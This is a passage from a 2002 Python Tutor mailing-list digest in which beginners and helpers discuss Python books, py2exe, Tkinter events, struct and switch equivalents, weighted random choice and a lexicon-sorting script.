course >which other internet tutorials!).

Hi Thanos

The first book I like is "The Quick Python Book" by Daryl Harms (good
book to get you acquainted with python). Follow up by three books that I
like is "Core Python Programming" by Wesley Chun, "Python: Visual
QuickStart Guide" by Chris Fehily and the book I have just started using
but find that it is really good so far is "Python How to Program" by
Dietel (this book is expensive though).
Randy Talbot
 

> At this momment I've begun with livewires' internet tutorial which I
find
> it quite helpful and easy, but soon enough I'll be needing more
sources.
> At last please advise if this language is the right one, in order to
>create a "back-office" application for a company (accounts, statements,
> clientele, etc.).
> 
> Thanks in advance for your kind help.
> 
> With my friendliest regards,
> Thanos



From wheelege@hotmail.com  Fri Feb 22 05:12:53 2002
From: wheelege@hotmail.com (Glen Wheeler)
Date: Fri, 22 Feb 2002 16:12:53 +1100
Subject: [Tutor] Python in 24 hours more like 24 years
References: <Pine.LNX.4.44.0202212031160.24351-100000@grace.speakeasy.net>
Message-ID: <DAV72YFkuutSgcOrBLS00000fd1@hotmail.com>

  Since we seem to be speaking about books alot, I thought I'd throw in my
personal favourite, Python and Tkinter programming by John E. Grayson.  I
found it very good, and like somebody mentioned - great to curl up with in
bed at night.  The book does assume the reader is already somewhat familiar
with python, and assumes basic OOP knowledge.  It does have two short intro
to python chapters, but they are mainly for people who are already
programmers but not in python.  The very next chapter he goes on to build a
fully-fledged application in tkinter.  Another thing I liked about it is the
source code for many of the exercises is available online, at his website.
This source code includes more than what is in the book, but that isn't to
say the book has little source code - it just doesn't have 'from tkinter
import *' at the top of every snippet, and mainloop() at the bottom.  Things
like that.
  Well, my advice is that if anybody has done a little python, and wants to
go with tkinter style programming next, get this book.  It's great, I can't
really say enough about it.  Clean focus too - always concentrating on
practical, useful ideas and concepts - with heaps of examples.

  One disclaimer though, as I said above - not a tutorial, not for
beginners.  That's why I'm mentioning it now, when the discussion seems to
have come to 'what to do when the tutorials get too basic, and I know all
the "rules"??'.

----- Original Message -----
From: "Daniel Coughlin" <kauphlyn@speakeasy.org>
To: "Erik Price" <erikprice@mac.com>
Cc: "Jonikas Valdemaras" <jonikas@ldr.lt>; <tutor@python.org>
Sent: Friday, February 22, 2002 3:59 PM
Subject: Re: [Tutor] Python in 24 hours more like 24 years


>
> I was looking for the tutorial that really turned me on and found the
following
> page
> http://www.awaretek.com/tutorials.html
> which is a big list of python tutorials.
>
> alas, the tutorial i learned from isnt there. and I cant remember where it
was.
> by the way, I struggled for almost a year trying to learn 'how to
program'. I
> spent time courting  c++, perl, and visual
> basic before python actually requited my advances. And it was love at
> first sight. Now I am actually getting paid to charm and seduce Java. But
python
> will always be my first love ;-)
>
>
> Plug:
> Wesley Chun's Core Python Programming definately was the very best books
> for me. Might be a little much for a true beginner - but I recommend it
anyway.
>
> Also as Cameron said Python Essential Reference rocks. It can fit in your
back
> pocket!
>
>
>
> ~d
>
>
>
>
>
> On Thu, 21 Feb 2002, Erik Price wrote:
>
> >
> > On Thursday, February 21, 2002, at 04:35  AM, Jonikas Valdemaras wrote:
> >
> > > Many thanks for all answers,
> > >
> > > I'm slightly depressed :) because Laningham's book
> > > is the only choice in ours. So, I can't get your
> > > recommended books.
> > > If I understood correctly, not bad way (at least better
> > > than Laningham's book :) would be to use tutolias
> > > from www.python.org. Correct?
> >
> > I'm still learning Python.  So don't take my words as those of Someone
> > Who Knows.  But I have found that there are tutorials all over the web
> > that teach all kinds of programming.  In fact, I did this with PHP -- I
> > used a book to get me going, but halfway through the book I got bored
> > with it because the tutorials on the web were much more concise (the
> > book was a giant Wrox book, admittedly).
> >
> > The fact is, though, is that reading tutorials on a screen just sucks.
> > There's nothing like curling up in bed and reading a book.  Some people
> > might think it's weird, because you don't have a computer handy to try
> > stuff out on, but I prefer to ingest a chapter and then try it out
> > later.  So I say, get the book if it's convenient to do so, but
> > otherwise, check out the following sites:
> >
> > DevShed has good quick tutorials that give you a rough idea of the
> > topic.  But if you want to know more, you need to know where the online
> > documentation is.  They have a fairly lengthy tutorial on Python, but it
> > doesn't teach you how to program.
> > http://devshed.com/
> >
> > This is a pretty good tutorial.  "How to Think Like a Computer
> > Scientist."  The name doesn't excite me, but it doesn't leave much to
> > question -- read through this once and then go back and re-read the
> > parts that you didn't totally understand.  I found it comprehensive.
> > http://www.ibiblio.org/obp/thinkCSpy/
> >
> > The problem with a lot of tutorials (like the DevShed one, above), is
> > that it's easy to teach you the basic structures of a language, like
> > functions and naming rules and whatever.  But to actually teach you some
> > programming concepts is a trickier task.  That's where I see myself -- I
> > sort of already "know" Python's "rules", but actually writing efficient
> > programs (the fun part) is something that I need to constantly work on.
> > I haven't had time to read this tutorial, but I think it addresses this
> > very subject...
> > http://www.mindview.net/Books/Python/ThinkingInPython.html
> >
> > And Alan Gauld has already mentioned his site.  There you go, now you
> > don't have to buy a book.  Between these four tutorials, which will take
> > you a bit to get through, you should have a grasp of Python and be able
> > to start learning from yourself.
> >
> >
> > Erik
> >
> >
> > _______________________________________________
> > Tutor maillist  -  Tutor@python.org
> > http://mail.python.org/mailman/listinfo/tutor
> >
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>


From idiot1@netzero.net  Fri Feb 22 07:23:33 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Fri, 22 Feb 2002 02:23:33 -0500
Subject: [Tutor] 1.1.4 building
Message-ID: <3C75F1F5.DF7DE1AE@netzero.net>

I replaced the logo image with font and text, diplays the same but
loads MUCH faster- 1 second on dial up vs 4 due to image load times.
All scripts generating images now display text with identical
appearance to the logo image.

TLpost now has defaults for global and per list footers in case the
global.footer and (listname).footer files are not found. Also, it now
can append a static preface to the body of the letter if
(listname).preface file is found.





-- 
 
end
	    Respectfully,
			 Kirk D Bailey


+---------------------"Thou Art Free." -Eris----------------------+
| http://www.howlermonkey.net mailto:highprimate@howlermonkey.net |
| http://www.tinylist.org  +--------+  mailto:grumpy@tinylist.org |
+------------------Thinking| NORMAL |Thinking---------------------+
                           +--------+

NOTE: By sending SPAM to this address you agree to pay me a service
fee of $100 for the service of receiving,  storing,  examining, and
deleting your piece of SPAM. I am a postmaster, and take a dim view
of such.
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From charlie@begeistert.org  Fri Feb 22 11:30:42 2002
From: charlie@begeistert.org (Charlie Clark)
Date: Fri, 22 Feb 2002 06:30:42 -0500
Subject: [Tutor] Re: Print ogre
Message-ID: <132109865093-BeMail@gormenghast>

>| Where else does ">>" occur in Python=3F
>
>Right shift.
..
>It is a bitwise operator.  aa is 10101010 in binary.  Right shift it
>one place and you get 01010101 which in hex is 55.  Shift it two
>places and you get 00101010 which is 2a in hex.

In other words there is no overlap between the two uses. ">>" doesn't 
have a generic meaning or use making reusable in different contexts. A 
good reason for removing it in print >> as a way to remove a possible 
source of confusion. Time to check the reasons for introducing it and 
the rules for writing a PEP.

Charlie
�



From sdurkin@psd.k12.co.us  Fri Feb 22 11:35:26 2002
From: sdurkin@psd.k12.co.us (Scott Durkin)
Date: Fri, 22 Feb 2002 04:35:26 -0700 (MST)
Subject: [Tutor] standalone *.exe
Message-ID: <Pine.OSF.3.96.1020222043413.509A-100000@alpha.psd.k12.co.us>

Hi,

What is (or is there) the definitive way to create standalone *.exe files
that will function later on another computer running Windows that does not
have Python installed on it?

Thank you for your help.

Scott Durkin
http://www.psd.k12.co.us/staff/sdurkin



From wheelege@hotmail.com  Fri Feb 22 11:44:14 2002
From: wheelege@hotmail.com (Glen Wheeler)
Date: Fri, 22 Feb 2002 22:44:14 +1100
Subject: [Tutor] standalone *.exe
References: <Pine.OSF.3.96.1020222043413.509A-100000@alpha.psd.k12.co.us>
Message-ID: <DAV73cZMxkgnZgVohmv00006bfb@hotmail.com>

  I posted a response to a question like this a little while ago.  The short
answer is try out py2exe, but also Installer.  I like py2exe more, but it's
your choice.  Here is the link to py2exe
(http://starship.python.net/crew/theller/py2exe/) - there is a link to
Installer at the bottom of the page if you want to check that out.
  If you have any problems, don't hesitate to ask :)

----- Original Message -----
From: "Scott Durkin" <sdurkin@psd.k12.co.us>
To: <tutor@python.org>
Sent: Friday, February 22, 2002 10:35 PM
Subject: [Tutor] standalone *.exe


> Hi,
>
> What is (or is there) the definitive way to create standalone *.exe files
> that will function later on another computer running Windows that does not
> have Python installed on it?
>
> Thank you for your help.
>
> Scott Durkin
> http://www.psd.k12.co.us/staff/sdurkin
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>


From jonikas@ldr.lt  Fri Feb 22 11:49:32 2002
From: jonikas@ldr.lt (Jonikas Valdemaras)
Date: Fri, 22 Feb 2002 13:49:32 +0200
Subject: [Tutor] standalone *.exe
References: <Pine.OSF.3.96.1020222043413.509A-100000@alpha.psd.k12.co.us>
Message-ID: <023c01c1bb96$fdf8e400$12f6c50a@LDR.local>

> Hi,
>
> What is (or is there) the definitive way to create standalone *.exe files
> that will function later on another computer running Windows that does not
> have Python installed on it?
>
> Thank you for your help.
>
> Scott Durkin
> http://www.psd.k12.co.us/staff/sdurkin

Hi,

Try this source:
http://starship.python.net/crew/theller/py2exe/

Actually, you will not get alone *.exe file, but you could run
your Python programs on computer that does not have
Python installed.

Regards,
Valdas



From wheelege@hotmail.com  Fri Feb 22 12:24:34 2002
From: wheelege@hotmail.com (Glen Wheeler)
Date: Fri, 22 Feb 2002 23:24:34 +1100
Subject: [Tutor] tkinter event question
Message-ID: <DAV16KexAKs4lSRu4rs00007475@hotmail.com>

  Hi guys,

  I've come to a little problem with tkinter events.  What I want to do, is
catch an event and stop the default action from going through while still
letting my action happen.
  Case in point - I have a one line text field, and when the user presses
<return> I want a specific function to be called.  That all works fine - but
after the function has returned from it's business, a '\n' is added to the
end of the text field making it two lines.
  I think I can force the text field to only one line, but I'd rather just
stop the default action (add a \n to the text) from happening.  I did a few
experiments, and found out that the \n was being placed after my function
had executed.  A nice side-effect of this is that I can't just go text =
text[:-1] to chop off the \n - it's added after my function returns!
  Alright, I just figured out how to solve it...  make it an entry widget
instead of a text one.  Can't believe I didn't think of that.  But, still,
I'd liek to ask the question - how to emulate the no-newline-char-generated
effect of the entry eidget?  Does it need to be hardcoded deep into tk?

  Thanks,
  Glen


From arcege@speakeasy.net  Fri Feb 22 13:02:05 2002
From: arcege@speakeasy.net (Michael P. Reilly)
Date: Fri, 22 Feb 2002 08:02:05 -0500
Subject: [Tutor] tkinter event question
In-Reply-To: <DAV16KexAKs4lSRu4rs00007475@hotmail.com>; from wheelege@hotmail.com on Fri, Feb 22, 2002 at 11:24:34PM +1100
References: <DAV16KexAKs4lSRu4rs00007475@hotmail.com>
Message-ID: <20020222080205.A3023@speakeasy.net>

On Fri, Feb 22, 2002 at 11:24:34PM +1100, Glen Wheeler wrote:
>   I've come to a little problem with tkinter events.  What I want to do, is
> catch an event and stop the default action from going through while still
> letting my action happen.
>   Case in point - I have a one line text field, and when the user presses
> <return> I want a specific function to be called.  That all works fine - but
> after the function has returned from it's business, a '\n' is added to the
> end of the text field making it two lines.
>   I think I can force the text field to only one line, but I'd rather just
> stop the default action (add a \n to the text) from happening.  I did a few
> experiments, and found out that the \n was being placed after my function
> had executed.  A nice side-effect of this is that I can't just go text =
> text[:-1] to chop off the \n - it's added after my function returns!
>   Alright, I just figured out how to solve it...  make it an entry widget
> instead of a text one.  Can't believe I didn't think of that.  But, still,
> I'd liek to ask the question - how to emulate the no-newline-char-generated
> effect of the entry eidget?  Does it need to be hardcoded deep into tk?

You can also use unbind_class().  Unfortunately, it affects every Text
widget, but it's about the only way to handle the 'default' effect.

There are other advantages of using Entry over Text - if you want a Tab-
advancing form, Entry widgets will be more friendly.

  -Arcege



From ps0@igmp.com.ar  Fri Feb 22 16:39:35 2002
From: ps0@igmp.com.ar (Hector A. Paterno)
Date: Fri, 22 Feb 2002 13:39:35 -0300
Subject: [Tutor] Question About Structs
Message-ID: <20020222133935.A2183@igmp.com.ar>

Hi, Im recently programming in python and I'v one question :

Who is the best form in python to replace what in c is called struct ?

For example in C I have this struct :

struct monitor {
 char *model;
 int number;
};
   
My best was to replace this with a DIC :
   
monitor = {'model':'', 'number':}

This is correct ? There are a best way to do a struct like this in python ?
   
   
Tnks !
   
Pd: Python doesn't has the case statment ?
   
Tnks Again.
   
Best Regards Hector.
   
-----------------------------------------------------------------------------
Fortune :
<Joey> gorgo: *lol*
<gorgo> joey: what's so funny? :)
<Culus> shh, joey is losing all sanity from lack of sleep
<Culus> 'yes joey, very funny'
<Culus> Humor him :>
	-- Seen on #Debian
-----------------------------------------------------------------------------


From James.Alexander.McCarney@Cognicase.com  Fri Feb 22 16:55:20 2002
From: James.Alexander.McCarney@Cognicase.com (McCarney, James Alexander)
Date: Fri, 22 Feb 2002 11:55:20 -0500
Subject: [Tutor] *.exe file for Python
Message-ID: <23FD7B1A77E8D211BCB900001D108C02018B29D1@camelot>

Isn't there something like freeze or squeeze that you can use to make a Py
program into an executable? I think you have to then 'make' it.


From rickp@telocity.com  Fri Feb 22 17:40:00 2002
From: rickp@telocity.com (Rick Pasotto)
Date: Fri, 22 Feb 2002 12:40:00 -0500
Subject: [Tutor] Question About Structs
In-Reply-To: <20020222133935.A2183@igmp.com.ar>
References: <20020222133935.A2183@igmp.com.ar>
Message-ID: <20020222174000.GG19594@tc.niof.net>

On Fri, Feb 22, 2002 at 01:39:35PM -0300, Hector A. Paterno wrote:
> 
> Hi, Im recently programming in python and I'v one question :
> 
> Who is the best form in python to replace what in c is called struct ?
> 
> For example in C I have this struct :
> 
> struct monitor {
>  char *model;
>  int number;
> };
>    
> My best was to replace this with a DIC :
>    
> monitor = {'model':'', 'number':}
> 
> This is correct ? There are a best way to do a struct like this in python ?

Depends on what you want to do/how you need to deal with the data.
Sometimes a list (or tuple) will do the job, sometimes a dictionary is
more appropriate. If you actually need to deal with "the first four
bytes are a long int and the next four bytes are two short ints and the
next twenty bytes are a character array (ie, string)" then you can use
the struct library.

Most of the time lists or dictionaries are better suited.

> Pd: Python doesn't has the case statment ?

The case statement functionality can be express with:

if <test1>:
	<action1>
elif <test2>:
	<action2>
elif <test3>:
	<action3>
else:
	<default action>

-- 
Within the limits of equity, everything is to be accomplished
through the free and perfectible initiative of man; nothing is to
be achieved by law or by force save universal justice.
	-- Frédéric Bastiat (1801-1850)
    Rick Pasotto    rickp@telocity.com    http://www.niof.net


From Nicole.Seitz@urz.uni-hd.de  Fri Feb 22 18:31:26 2002
From: Nicole.Seitz@urz.uni-hd.de (Nicole Seitz)
Date: Fri, 22 Feb 2002 19:31:26 +0100
Subject: [Tutor] Question About Structs
In-Reply-To: <20020222133935.A2183@igmp.com.ar>
Message-ID: <5.1.0.14.0.20020222190643.00b44e08@popix.urz.uni-heidelberg.de>

At 13:39 22.02.2002 -0300, you wrote:
>Hi, Im recently programming in python and I'v one question :
>
>Who is the best form in python to replace what in c is called struct ?
>
>For example in C I have this struct :
>
>struct monitor {
>  char *model;
>  int number;
>};
>
>My best was to replace this with a DIC :
>
>monitor = {'model':'', 'number':}
>
>This is correct ? There are a best way to do a struct like this in python ?


What about classes?Can't I use a class where I would use a struct in C?

>
>
>Tnks !
>
>Pd: Python doesn't has the case statment ?


You are right, there's no switch statement in Python.
For example, you could use dictionaries as it is shown in "Learning Python":

 >>> choice = 'ham'
 >>> print {'spam': 1.25,                      # a dictionary-based 'switch'
  ...            'ham' : 1.99,                      # use has_key() test 
for default case
  ...            'eggs' : 0.99,
  ...            'bacon' : 1.10} [choice]
1.99

I hope someone can explain that.I've just realised that I don't understand 
this example at all. It looks nice, though.

For a Newbie like me the alternative solution with an if statement is 
better to understand:

 >>>if choice == 'spam' :
...       print 1.25
...   elif choice == 'ham' :
...       print 1.99
...   elif choice == 'eggs':
...      print 0.99
...   elif choice == 'bacon' :
...      print 1.10
...   else:
...      print 'Bad choice'
...
1.99

Well, I guess one should prefer the dictionary-based version.Seems to be 
more flexible.

Hope this helps .


Nicole





>
>Tnks Again.
>
>Best Regards Hector.
>
>-----------------------------------------------------------------------------
>Fortune :
><Joey> gorgo: *lol*
><gorgo> joey: what's so funny? :)
><Culus> shh, joey is losing all sanity from lack of sleep
><Culus> 'yes joey, very funny'
><Culus> Humor him :>
>         -- Seen on #Debian
>-----------------------------------------------------------------------------
>
>_______________________________________________
>Tutor maillist  -  Tutor@python.org
>http://mail.python.org/mailman/listinfo/tutor




From SWidney@ci.las-vegas.nv.us  Fri Feb 22 18:14:30 2002
From: SWidney@ci.las-vegas.nv.us (Scott Widney)
Date: Fri, 22 Feb 2002 10:14:30 -0800
Subject: [Tutor] (No Subject)
Message-ID: <D4EB5574F4A7D2119C9E00A0C9EA408D059F59A6@SOVEREIGN>

> someone else suggested this with the disclaimer that it 
> was not very efficient method and was untested:
> 
> def weighted_choice(choices):
>     tot = 0
>     for w,v in choices:
>         tot = tot + w
>     d = random.random()*tot
>     tot = 0
>     for w,v in choices:
>         tot = tot + w
>         if tot > d:
>             return v
> 

I understand what this is doing, but I see that it's inefficient because it
iterates over the list at least once, possibly twice. It seemed to me that
there ought to be a way to rework this so that it only walks the list once.
This is what I came up with:

###
def weightedPick(weightedList, choice):
	""" weightedList is of the form: [('symbol', weight), ...]
	    where 0.0 < weight < 1.0
	"""
	if len(weightedList) == 1:
		return weightedList[0][0]
	if choice < weightedList[0][1]:
		return weightedList[0][0]
	else:
		return weightedPick(weightedList[1:],
                                (choice - weightedList[0][1]))
###

I pulled random() out of the function to make testing easier, but there are
probably other benefits as well. The function would probably be called this
way:

###
import random
wList = [('three', .3), ('one', .1), ('four', .4), ('two', .2)]
weighedPick(wList, random.random())
###

Some notes:
The function doesn't check to see if the sum of the weights =~ 1.0 (why
would you want anything else?). A Class that wraps the function and the data
could do that. For that matter, the function doesn't ensure that 'choice' is
between 0.0 and 1.0; but that's what random.random() returns. Again, I
suppose that's a job for the Class.

One other thing: I haven't had the chance to run this 1000 or so times to
check its accuracy. Does anyone have the time?

Scott


From dsh8290@rit.edu  Fri Feb 22 18:39:10 2002
From: dsh8290@rit.edu (dman)
Date: Fri, 22 Feb 2002 13:39:10 -0500
Subject: [Tutor] Question About Structs
In-Reply-To: <20020222133935.A2183@igmp.com.ar>
References: <20020222133935.A2183@igmp.com.ar>
Message-ID: <20020222183910.GA4159@dman.ddts.net>

On Fri, Feb 22, 2002 at 01:39:35PM -0300, Hector A. Paterno wrote:
| Hi, Im recently programming in python and I'v one question :
| 
| Who is the best form in python to replace what in c is called struct ?
| 
| For example in C I have this struct :
| 
| struct monitor {
|  char *model;
|  int number;
| };
|    
| My best was to replace this with a DIC :

A dict will work, but often times a class is better.  For example :

class monitor :
    def __init__( self , model , number ) :
        self.model = model
        self.number = number


Then you can create a monitor like :

m = monitor( "The Model" , 230 )
print m.model , m.number


Attribute access on instance objects is just like member access in C
(apart from not needing the derefence operator for pointer-to-struct). 

| Pd: Python doesn't has the case statment ?

Instead use something like :

# first define functions for the operations we want to take place
def f1() :
    print "f1"

def f2() :
    print "f2"


# define the jump table, note that any hashable object can be the key,
# not just 'int' or 'char'
switch = { 1 : f1 , 2 : f2 }


Notice how functions are objects, just like anything else.  The
counterpart in C is a pointer-to-a-function.  It is this "pointer to a
function" that is the value part of the dictionary.

# now here we do our "switch"
# first get the data to switch on
which_op = input( "Enter a choice, 1 or 2 : " )
# now lookup the "case block"
the_op = switch[ which_op ]
# call the function
the_op() 

HTH,
-D

-- 

The fear of the Lord leads to life:
Then one rests content, untouched by trouble.
        Proverbs 19:23



From Felix.Toran@esa.int  Thu Feb 21 18:41:31 2002
From: Felix.Toran@esa.int (Felix.Toran@esa.int)
Date: Thu, 21 Feb 2002 19:41:31 +0100
Subject: [Tutor] gzip files
Message-ID: <41256B67.0064A28C.00@esahqmail3.hq.esa.int>


Hi all again!

As you say, that files cannot be decompressed using standard modules. I have
finally solved the problem just as you say: a os.system( ) call to a UNIX-like
tool for windows.

The tool is called COMP430D, and can be downloaded from
http://garbo.uwasa.fi/pc/unix.html

Thanks!
Felix.




|--------+-------------------------->
|        |          Remco Gerlich   |
|        |          <scarblac@pino.s|
|        |          elwerd.nl>      |
|        |                          |
|        |          21/02/2002 19:20|
|        |                          |
|--------+-------------------------->
  >----------------------------------------------------------------------------|
  |                                                                            |
  |       To:     tutor@python.org                                             |
  |       cc:     (bcc: Felix Toran/cst/ESA)                                   |
  |       Subject:     Re: [Tutor] gzip files                                  |
  >----------------------------------------------------------------------------|





On  0, Felix.Toran@esa.int wrote:
> I have been trying to decompress a Z file using the gzip module, but I have
> found several problems. Please, can someone help me with a short source code
> example?
>
> Thanks a lot in advance.

.Z files are compressed using compress, not gzip. I don't know how to
decompress them using Python, other than doing an os.system() call to
uncompress.

--
Remco Gerlich

_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor





From vlindberg@verio.net  Fri Feb 22 17:57:24 2002
From: vlindberg@verio.net (VanL)
Date: Fri, 22 Feb 2002 10:57:24 -0700
Subject: [Tutor] Request for comments: Search and replace script
Message-ID: <3C768684.3070006@verio.net>

Hello,

I recently finished writing a search and replace script to automate some 
of the things I do at work.  It does the following:

Will search and replace in a single file, all files in a directory, or 
recursively
Will search and replace from a regular expression or a string
Excludes all binary files unless --binary argument is given
Has include and exclude lists (search and replace in all *.html, but 
exclude donttouch.html)

and a bunch of other stuff too.  Most of the work is encapsulated in 
some fairly reusable classes.

You can find it at http://lindbergs.org/vsar.py

I would be very appreciative of any comments or patches to it. 
 Particularly, I am interested in:

- Things that could make it faster
- Things to make it more 'pythonic'
- Bugs or logic errors

After any suggested improvements have been made, I will be submitting it 
to useless python, in the hope that it may be more generally useful.

Tear into it,

Van





From lingesh <lingesh.san@mdtc.com.my>  Fri Feb 22 03:53:23 2002
From: lingesh <lingesh.san@mdtc.com.my> (lingesh)
Date: Fri, 22 Feb 2002 11:53:23 +0800
Subject: [Tutor] pda tuts ?
Message-ID: <000801c1bb54$799e50b0$0bf112ac@mdtlingesh>

This is a multi-part message in MIME format.

--Boundary_(ID_8SHsEnWO924GoGpq0dC8aQ)
Content-type: text/plain; charset=Windows-1252
Content-transfer-encoding: 7BIT

do you know if there are any python tutorials available as a downloadable doc file for the Palm ? I found one at www.memoware.org but i am still looking for more ebooks / tutorials. Maybe some stuff from Alan Gauld or something.

Thanks

lingesh

--Boundary_(ID_8SHsEnWO924GoGpq0dC8aQ)
Content-type: text/html; charset=Windows-1252
Content-transfer-encoding: 7BIT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content="text/html; charset=windows-1252" http-equiv=Content-Type>
<META content="MSHTML 5.00.3315.2870" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT size=2>do you know if there are any python tutorials available as a 
downloadable doc file for the Palm ? I found one at <A 
href="http://www.memoware.org">www.memoware.org</A> but i am still looking for 
more ebooks / tutorials. Maybe some stuff from Alan Gauld or 
something.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=2>Thanks</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=2>lingesh</FONT></DIV></BODY></HTML>

--Boundary_(ID_8SHsEnWO924GoGpq0dC8aQ)--


From paulsid@shaw.ca  Fri Feb 22 19:15:09 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Fri, 22 Feb 2002 12:15:09 -0700
Subject: [Tutor] pda tuts ?
References: <000801c1bb54$799e50b0$0bf112ac@mdtlingesh>
Message-ID: <3C7698BD.8DA3481E@shaw.ca>

lingesh wrote:

> do you know if there are any python tutorials available as a
> downloadable doc file for the Palm ? I found one at www.memoware.org
> but i am still looking for more ebooks / tutorials. Maybe some stuff
> from Alan Gauld or something.

I don't know of anything specifically for the Palm, but if you get
Plucker (http://www.plkr.org/) and install it on your Palm device you
can use it to view the many HTML Python tutorials available.  And the
best part is that the desktop portion of Plucker is written in Python!

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From Nicole.Seitz@urz.uni-hd.de  Fri Feb 22 21:02:31 2002
From: Nicole.Seitz@urz.uni-hd.de (Nicole Seitz)
Date: Fri, 22 Feb 2002 22:02:31 +0100
Subject: [Tutor] Newbie
In-Reply-To: <Pine.LNX.4.21.0202181449470.11972-100000@hkn.eecs.berkeley
 .edu>
References: <5.1.0.14.0.20020218214831.00b48a18@popix.urz.uni-heidelberg.de>
Message-ID: <5.1.0.14.0.20020222211121.00b8e798@popix.urz.uni-heidelberg.de>

>
>
>Hi Nicole,
>
>
>At the moment, the AddWord() function appends a new lexicon entry into the
>file, so all new entries are "tacked on" in the back.  One approach to
>keep the lexicon sorted is to load the lexicon into memory, sort the
>lexicon and then write the whole lexicon back to the file.
>
>Python lists have a 'sort()' method that you can use to make this work.
>Here's an interpreter session that may help:
>
>
>###
> >>> names = ['fish', 'sleep', 'their', 'the', 'an', 'big', 'good',
>'paris']
> >>> names.sort()
> >>> names
>['an', 'big', 'fish', 'good', 'paris', 'sleep', 'the', 'their']
>###
>
>If we want to have the function sort in a different way, we can pass the
>sort() method an optional "comparision function" that tells it how two
>elements compare to each other.
>
>For example, let's say that we'd like to sort these strings by length.  We
>can write this comparision function:
>
>###
> >>> def cmp_by_length(word1, word2):
>...     return cmp(len(word1), len(word2))
>...
> >>> names.sort(cmp_by_length)
> >>> names
>['an', 'big', 'the', 'fish', 'good', 'paris', 'sleep', 'their']
>###


This was quite helpful, so thanx a lot.
I wrote these functions which worked well:

def ignoreCase(word1,word2):
     import string
     word1,word2 = string.lower(word1),string.lower(word2)
     return cmp(word1,word2)

def sort_my_list(mylist):
     mylist.sort(ignoreCase)
     return mylist

Now I have great difficulties writing the sorted lexicon to file.

This is one of the horrible outputs I got:
----------------------------------------------------------------------
fish nHeidelberg nocean nstudents ntourists n

  fish visleep vi

  travel vtvisit vt

a detan detthe det

  big adjclever adj

  in prepto prep
-----------------------------------------------------------------------------------------------------------
The input sentence was: Stupid students study in Heidelberg.

New words : "stupid", "study" and "Heidelberg"

Only  "Heidelberg" was added.
Why did the first two new entries get lost ?
For testing I chose to create a new file to store the sorted lexicon.So my 
old lexicon is still there in case something goes wrong.
And indeed, many things went wrong. I hope my code is at least a bit 
readable(Sorry, there are hardly comments) for you.I got really confused by 
my own code!There must be a lot of mistakes. Important are sort_lexicon.py 
and maybe lexphase2.py. The remaining file is only to understand the whole 
program.
I hope someone has the time to read all this stuff!Thank you!
Ok, here we go:

veryNewLex.txt

----------------------------------------------------------------------------------------------------
fish n
ocean n
students n
tourists n

fish vi
sleep vi

travel vt
visit vt

a det
an det
the det

big adj
clever adj

in prep
to prep
-----------------------------------------------------------------------------------------------------------------------
sort_lexicon.py
-----------------------------------------------------------------------
def ignoreCase(word1,word2):
     import string
     word1,word2 = string.lower(word1),string.lower(word2)
     return cmp(word1,word2)

def sort_my_list(mylist):
     mylist.sort(ignoreCase)
     return mylist


def keepLexSorted(new_entry, partOfSpeech):
   nested_list =[]
   file = open("veryNewLex.txt","r")
   text = file.read()
   import string
   paragraphs = string.split(text, '\n\n')

   for paragraph in paragraphs:

        new_lists = string.split(paragraph, '\n')
        if (partOfSpeech == new_lists[0][-1]or partOfSpeech == 
new_lists[0][-3:] or partOfSpeech == new_lists[0][-4:]) : #this looks strange
             new_lists.append(new_entry) 
#is there a better way?

        sorted_list = sort_my_list(new_lists)
        sorted_list.append('\n\n')
        nested_list.append(sorted_list)

   new_file = open("new_test_lex.txt","w")
   for list in nested_list:
             new_file.writelines(list)



   new_file.close

-----------------------------


----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
lexphase2.py
--------------------------------------------------------------------------------
def punctuation (list):
     lastWord = list[-1]
     if (lastWord[-1] == '!' or lastWord[-1]== '.') :
        lastWord = lastWord[:-1]
        list[-1] = lastWord
     return list



def lookupWordInLex(word):

         file = open('veryNewLex.txt','r')
         import string
         while 1:
           line = file.readline()
           if not line: break
           tmp = string.split(line)
           if tmp:
            if (word == tmp[0]):
               cat = tmp[1]
               return cat
         file.close()


def WordNotFound(unknown_word) :
    import string
    print "Couldn't find %s in lexicon!" %string.upper(unknown_word)
    print "If you want to continue, please add it to lexicon: "
    addWord()
    return partOfSpeech


---------------------------------------------------------------------------------------------------------------------------------------------------------------------

testfile.py
----------------------------------------------------------------------------------------------------
import string
import lexphase2

# Get sentence from user


sentence = raw_input("Please enter a sentence: ")
print

#split input string into tokens

wordlist = string.split(sentence)


#empty list to store categories
wordCat = []

# category for each  word :

for x in wordlist:
     Cat = lexphase2.lookupWordInLex(x)
     if Cat: wordCat.append(Cat)
     else:
           NewCat = lexphase2.WordNotFound(x)
           wordCat.append(NewCat)


print lexphase2.punctuation(wordlist)
print wordCat
# display input table

print 
"-----------------------------------------------------------------------------------"
count = 0
print "INPUT  ","|","\t",
while(count < len(wordlist)):
    print wordlist[count],"|","\t",
    count = count + 1
print
print 
"-----------------------------------------------------------------------------------"
count = 0
print "LEXICON","|","\t",
while(count < len(wordCat)):
    print wordCat[count],"|","\t","\t",
    count = count + 1
print
print 
"-----------------------------------------------------------------------------------"
count = 0
print "POSITION","|","\t",
while(count < len(wordlist)):
     print count+1 ,"|","\t","\t",
     count = count + 1

print






>I'm sorry I'm rushing things; I'm getting hungry and must get big, fishy
>french food.  mmm... fooo...good...
>
>
>Please feel free to ask more questions.  Good luck to you!




From pydan@danshafer.com  Fri Feb 22 21:29:51 2002
From: pydan@danshafer.com (Dan Shafer)
Date: Fri, 22 Feb 2002 13:29:51 -0800
Subject: [Tutor] No RTF Lib?
Message-ID: <3C76B84F.8030106@danshafer.com>

